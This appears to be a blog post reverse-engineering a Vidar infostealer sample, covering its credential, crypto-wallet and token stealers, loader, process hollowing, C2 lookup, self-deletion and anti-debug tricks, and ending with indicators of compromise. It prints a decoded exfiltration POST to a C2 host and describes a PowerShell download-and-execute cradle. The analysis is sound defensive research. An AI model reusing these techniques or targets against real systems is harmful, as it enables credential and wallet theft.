I will structure the following analysis going forward with the stealer functions first, then the system information stealer, the loader, and finally the functions that exfiltrate user data back to the command and control center (C2) before additionally cataloging the anti-anti-virus, anti-debuging and self deleting functions.

Monero wallet (.key) stealer:

For reference this is a before and after reversing the function:

Before

After

Even before reversing, you can tell that this function is likely malicious or unusual as it is specifically searching for a .keys file in the registry directory of the Monero (a cryptocurrency’s) wallet path. The .keys file refers to the master key of the Monero wallet.

Stealing a cryptocurrency wallet can be especially lucrative for cyber criminals. If the wallets key or seed phrase gets compromised then an attacker can gain complete access to the user’s coins. Unlike traditional banking systems, there is no way to reverse a crypto transaction. This makes cryptocurrency wallets very effective to steal from as an attacker/malware dev (or malware subscriber in this case!)

Simply, the function “moneroExfiltrator” checks to see if the Monero path in the Windows registry is on the victim’s computer with “moneroFound”, if so it tries to find the default \\Monero\\wallet.keys file.

The .keys file then gets read and copied into memory with the function “copyFileAndVerify”.

This function uses LocalAlloc to allocate memory, then it sets environment variables to store the data. The function then checks to see if the copied data is the same size as the original data

The hypothesis that “copyFileAndVerify” does this seems likely as Vidar is caught reading a .keys file in the temp directory, likely related to how it processes the file when copying / verifying. However this could be unrelated, but I think it is worth including.

Then a thread is created for exfiltrating, in which it ensures the data is checked for errors and is moved in chunks.


The main Monero stealer function has some oddities, mainly in the fact that it uses decrypted strings “Firefox” and “PK11SDR_Decrypt”. I am unsure of what they do as they do not appear to be used in any way in this function. PSK11 Decrypt is usually used to decrypt sensitive data / credentials in Firefox’s databases and profiles (logins.json and signons.sqlite etc.) It is from Mozilla’s Network Security Services (NSS) library. This could be an issue with the strings, or deliberate fluff, but it hopefully isn’t meaningful, and doesn’t look like it.

FileZilla Stealer

Another reversing comparison (last before and after):

Before

After

This function searches in Appdata for the FileZilla directory, for the file recentservers.xml. This file stores all of the credentials/information from servers the user has accessed recently. Here “copyFileandVerify” attempts to read and copy the data of the recentservers.xml file. There is a simple check, if “copyFileandVerify” returns a number to “statusCheck” that is not equal to 0 (it has failed), it then tries to go on with another strategy of stealing. It then just skips to formatting if the copying of the file and verifying were successful.

If the copying of the file was unsuccessful with “copyFileandVerify” it then uses StrCmpA to check if the current token is the Host entry, if a match is found, statusCheck becomes non-zero it goes onto retrieving the other server configurations in the file.

It extracts the host address, the Port, User (username) and Password.

It then formats the victim’s data for the C2 servers requirements. Then it saves the users credentials to “passwords.txt”.

It then goes on to setup a thread to exfiltrate these tokens directly with “setupDataExfiltrationThread”

It creates a thread running “processAndSendDataWithRetry”, and that handles the exfiltration.

It has delay and retry blocks and tries to send the credentials to the func “sendInfotoC2_1/2”, it sends the data categorized with a POST request to a fixed C2 server. More about the C2 and data exfiltration at the end

WinSCP Stealer

This function like the last follows the same formatting and patterns mostly.

It attempts to find the registry path of WinSCP2, if the registry file exists (if regStatus == 0) then it attempts to read/find the values “Security” and “UseMasterPassword”.

The function goes onto attempting to find the registry path of “Sessions” in the same parent folder of “WinSCP 2”. If it finds the registry path and can read it (the check regStatus == 0 again) it attempts to find user and host credentials.

It saves the formatted credentials into “password.txt” before the function finishes.

Browser Profile and Credential Stealer(s)

There are quite a few browser credential stealer functions in this malware.

This “firefoxLoginStealer” accesses “logins.json”, where firefox keeps its users login credentials. It reads the file and then formats it before saving it in “passwords.txt” as well as directly exfiltrating it with a previous function “setupDataExfiltrationThread”.

There are a lot of them, and they are very similar.

Google Account Token ID Stealer

Credit Card Stealer

Potential Generic Browser/Alternative SQLITE DB Stealer

This function attempts to target all browsers and references other browser stealing functions. However it appears to be mainly effective with Firefox’s architecture, it could potentially work with other browsers and it doesn’t seem to be specifically targeting a browser in the way that it enumerates. The only browser/browser engine that it references with API calls is PK11SDR_Decrypt, Firefox’s/Mozilla’s Network Security Services (NSS) library, in which PK11SDR_Decrypt is used to decrypt data. BUT, PK11SDR_Decrypt doesn’t seem to be used here necessarily, it is a bit strange, and it could be unused.

This function relies heavily on some windows API calls as well as SQlite queries.

It uses two different approaches. The first approach uses the function i renamed “enumerateSystemProcessResources” in an attempt to find programs that are currently running in order to get their path. Specifically, it uses GetModuleFileNameExA to get the full process paths after identifying them.

At a high level explanation; “enumerateSystemProcessResources” makes use of the Windows Restart Manager to identify processes that have open handles to currently running resources/programs. It is coded so that it searches for all resources, either to evade having too many unusual hardcoded direct paths in the malware, or to reuse the function elsewhere in the malware, or out of laziness.

It is an interesting way to enumerate running processes.

The second way is much more simple and more similar to brute-forcing. It simply looks in the C: drive in \ProgramData.

For both of them, it has a check to see if it has found anything (while/if iVar3 == 0.)

It makes use of the Win API FindFirstFile to locate the browser credential storage files using the paths it obtained from either method.

It then attempts to take those paths of the databases if successfully found.

It opens them with sqlite3, steps through the rows before caching them into the variable “uVar4”.

The malware then checks the data and or tries to setup crypto buffers and environment variables, or maybe checks that the hashes are the correct algorithms, potentially for later usage.

From what i can make out the malware likely checks the encryption type against DAT_004233a0, if the first 3 bytes or so match it tries to save the results to an environment, I think.

There is another check ( if 1 < iVar3 , if iVar3 is less than 1 it proceeds).

It then formats the results with specific fields including Profile, Host, and Login.

It then saves them in passwords.txt. It also sends the data with “setupDataExfiltrationThread.”

My other hypothesis for this function is potentially that it is intending on browser credential databases being already open from earlier in a session, making it significantly easier to dump the credentials if a browser allowed that. This hypothesis would line up more with Firefox and how its database architecture works (I think.)


However, it is quite strange and I am not sure what it is targeting, or how successful it would be.

For many of these functions I have not shown how it constructs its paths, but I am confident that they are used, as dynamically they are read and or accessed by the malicious process.

System Information Stealer

As well as gathering credentials from the user, Vidar also gathers system information.

This function draws on other small functions in order to steal and then output information.

With this function and the others in it, like many other parts of the sample, some features are unimplemented.

The first one that works is “getCryptotoInfo”.

It essentially just tries to check if the cryptography key exists, then if so (if ((ivar == 0)) it reads the machines identifiers / GUID, converts the character set and returns the info.

They are all quite basic and do very similar things.

This function retrieves additional hardware identifiers using GetCurrentHwProfile, tagHW_PROFILE_INFOA. If GetCurrentHwProfile and tagHW_PROFILE_INFOA does not equal 0 it progresses and tries to get hardware profile global unique identifiers. If it fails it outputs “Unknown” instead.

It gets many identifiers and system information, it goes on for a while.

It is quite uninteresting so I will just list all of the info that it tries to steal:

System Information Stealer
  • OS Version*
  • Version Date*
  • Machine GUID
  • Hardware IDs
  • Windows Volume
  • Power Status
  • Windows Current Version
  • Windows Install Date
  • Hostname
  • Username
  • Display Specs
  • Keyboard Languages
  • Time Zone*
  • Processor Info
  • Processor Cores
  • Processor Threads*
  • RAM Info*
  • Video Card*
  • Running Processes
  • Installed Software

* = Not included in my sample

One of those functions also appears to check the username against win defender’s sandboxes “John Doe”.


Steam Token Stealer (+ Part JSON Web Token Memory Extractor)

This is an interesting function, it appears to search in memory for JSON web tokens, it searches specifically for EdDSA-signed JSON Web Tokens in another process’s memory space.

It searches for this HEX string:

When decoded to from HEX to ASCII it becomes this:

e y A i d H l w I j o g I k p X V C I s I C J h b G c i O i A i R W R E U 0 E i I H 0

That string is a Base64 encoded string. After you decode the prior Base64 string, it then appears to be a JSON Web Token.

{ "typ": "JWT", "alg": "EdDSA" }

If it finds JWT tokens in memory that start with / or have the EdDSA encryption header.

If it finds matches, it reads chunks of memory, validates the structure and then checks for a specific payload: “N0ZWFt”.

This function isolated was pretty unique in this malware, as it is highly specific, but then I looked into what functions called it and realized that it is apart of a bigger function, namely this is a part of a Steam token stealer.

This process hands over steam.exe’s process ID/handle to the prior JWT scanning function.

The “scanSteamProcess” is called by this function.

This, “steam_tokens.txt”, is likely where the JSW steam tokens get saved on disk.

Capa also agrees with my analysis of this function.

Social Media DB Stealers

Discord DB stealer

This function appears to exfiltrate discords main storage for tokens.

It attempts to decrypt the databases with WDAPI CryptUnprotectData.

It then calls a function “dbExfil”, which appears to setup another exfil thread, “setupDataExfiltrationThread”, as well as call another stealer function. It appears that it could also aid with path construction.

Telegram DB Stealer

This function is really similar to the Discord DB stealer function, and does the exact same thing, just with a different path construction / create thread handler.

Like with some of the web browser stealer functions, the path creation is a bit annoying to reverse so I have left it out, but I have verified that the process accesses these databases/paths.

Cloud Provider Data Stealer

This is also very similar to the previous DB stealer functions.

It attempts to decrypt the database with “decryptDB”, then likely passes of the paths of the cloud providers to “pathConstruction&CreateExfilThread”, which has signs of dynamic path construction. “pathConstruction&CreateExfilThread” calls the previously mentioned “setupDataExfiltrationThread”. It then gets sent directly over the network to the C2 server.

Loader and File Downloader/Stager

This part of the malware has a master function that manages what it downloads and loads.

It uses switch statements that load different things.

The first being “runsDLL”.

This function uses rundll32.exe to run DLLs. The function tries to run the DLL as admin.

It calls “downloadDLLsorEXEs”, which appears to have abilities to download any file, but more importantly DLLs or EXEs.

I believe it downloads and potentially runs its .EXEs here as it uses the Win API “ShellExecuteEXA”, which cannot be used to execute .DLLs

From there in the switch statement “IEprocessHollowing” is called, which appears that it is its own self contained loader almost.

It calls “GET/POST Request”, which appears to download an exe:

It then likely tries to inject the .exe (or .dll) into the Internet Explorer process called “ielowutil.exe”

comment wrong: *tries to process hollow ielowutil.exe with the malicious binary/exe :p

textbook process hollowing

After the process hollowing, another function, “ps1loader” downloads and executes powershell scripts.

It appears to download them to the drive and directory “C:\\ProgramData\\”, from there it uses powershell commands: “-nop”, no profile, “-c”, command, “iex”, Invoke-Expression, “(New-Object Net.WebClient).DownloadString(\'”), which downloads the content as a string. This downloads a .ps1 script and auto executes it, which can allow the malware to start its next stage in its attacks.

This allows the malware to do a lot even after execution of the original sample. It has quite a lot of loading capability.


I would have added more about how it gets its configurations for its malware hosting servers as well as what files to download, but the c2 servers used seem down, and or that specific botnet seems down, so this was all I was able to add.

C2 (Command & Control) Server & Exfiltration

The first initial usage of the C2 servers is before the malware steals anything.

The first thing the malware does is try to access the C2 servers.

“10.7” Accounts for the version of Vidar, “877956da9963e0825aa43a159a358f24” is the botnet. And the Steam and Telegram URLs are how it dynamically sources the correct C2 IP addresses that it uses to download files.

It uses websites like Steam and Telegram as they are quite easy to make fresh accounts on, without tons of sign-up verification.

From there it looks for the current IP address that is currently being used as the C2. These C2 IP’s are mostly from stolen servers from the German VPS (Virtual Private Server) Hetzner.

From there it then downloads .dlls that it uses to steal.

It attempts to parse the IP addresses from both the Steam and Telegram URLs for redundancy.

It can also download these additional .DLLs.

C2 Exfiltration

The exfiltration of the data is relatively simple.

This function starts the POST request that sends the exfiltrated data.

There is then a secondary function that calls most of the stealer functions and creates a zip folder named “_DEBUG.zip” where the stolen information and credentials will be stored.

_DEBUG.zip

From here it sends them to a hardcoded C2 server.


This is confirmed with a POST request:

This POST request when decoded from Base64 to plaintext, basically, is:

POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----GHCAAAAKJJDAKECBGIJE
Host: arpdabl.zapto.org
Content-Length: 1973
Connection: Keep-Alive
Cache-Control: no-cache
------GHCAAAAKJJDAKECBGIJE
Content-Disposition: form-data; name="token"
------GHCAAAAKJJDAKECBGIJE
Content-Disposition: form-data; name="build_id"
877956da9963e0825aa43a159a358f24
------GHCAAAAKJJDAKECBGIJE
Content-Disposition: form-data; name="file_name"
_DEBUG.zip
------GHCAAAAKJJDAKECBGIJE
Content-Disposition: form-data; name="file_data"
File type:   PKZIP archive
Extension:   zip
MIME type:   application/zip

information.txt 

------GHCAAAAKJJDAKECBGIJE--

When I later ran this again in a sandbox, it was not configured to have accurate filezilla data, and did not download the other .DLLs required to steal more information/credentials, so the “passwords.txt” or other credential/screenshot/device info files were not present.

Anti-Anti-Virus and Anti-Debugging

Vidar has a few techniques that it uses in order to evade anti virus software as well as basic anti-debugging techniques.

At entry, the start of the program, it likely tests to see if it is being ran in the Windows Defender Sandbox by testing how the system reacts to the string “HAL9TH”.

Vidar also uses the Win API isDebuggerPresent to check if it is being debugged, however this is laughably easy to bypass with debugger plugins like “ScyllaHide” for x32dgb/x64dbg (it, or should I say, a fork “TitanHide”, even supports ring 0 ((kernel)) anti-anti-debug which is quite cool.)

Self-Deleting

After sending off credentials and device information to the C2 server the malware self deletes itself, its directories and any .DLLs or .EXEs that it has used.

It self-deletes itself with the “selfDeleting” function. It uses the command /c (command) and /t (timeout) to delete any .DLLs it has downloaded as well as any folders it has made to store ps1 scripts, .exe’s and credentials/device info. It timeouts for 10 seconds before self deleting.

Additional Stealer Functions

Here are some additional functions (some of them may not be functional.)

Many of them are very similar to what I have already showcased and quite self explanatory.

An example of this is this part of a function (browser extension stealer + other browser related software):

It uses find first file as well as “\\*” wildcards to enumerate directories with FindFirstFileA until it has found the correct directory (its apart of a wider loop.)

Firefox DB stealer

Downloads Stealer

Steam Library/.vdf Stealer

Take Screenshot

Indicators of Compromise (IoCs)

SHA-256325396d5ffca8546730b9a56c2d0ed99238d48b5e1c3c49e7d027505ea13b8d1
URL(s)http[:]://arpdabl.zapto[.]org

https[:]//steamcommunity[.]com/profiles/76561199751190313

https[:]//t[.]me/pech0nk
Malicious Process CreatedC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe

Additionally, the original .exe process hollows and injects malicious code into a RegAsm.exe process, but this is not especially useful information, as creating rule sets for this may not be practical as RegAsm.exe is a legitimate .NET utility. But I will add it in, just in case.

I have only included the static URLs as the C2 servers that it uses to download/load things (as previously stated) change.

I plan to reverse more malware in the future hopefully. I may reverse Lumma stealer, which is often downloaded/loaded by this Vidar sample.

If you have read some, or all of this thank you!
— TTA
For questions, collaboration, or to report vulnerabilities, feel free to reach out:

[email protected]

By xande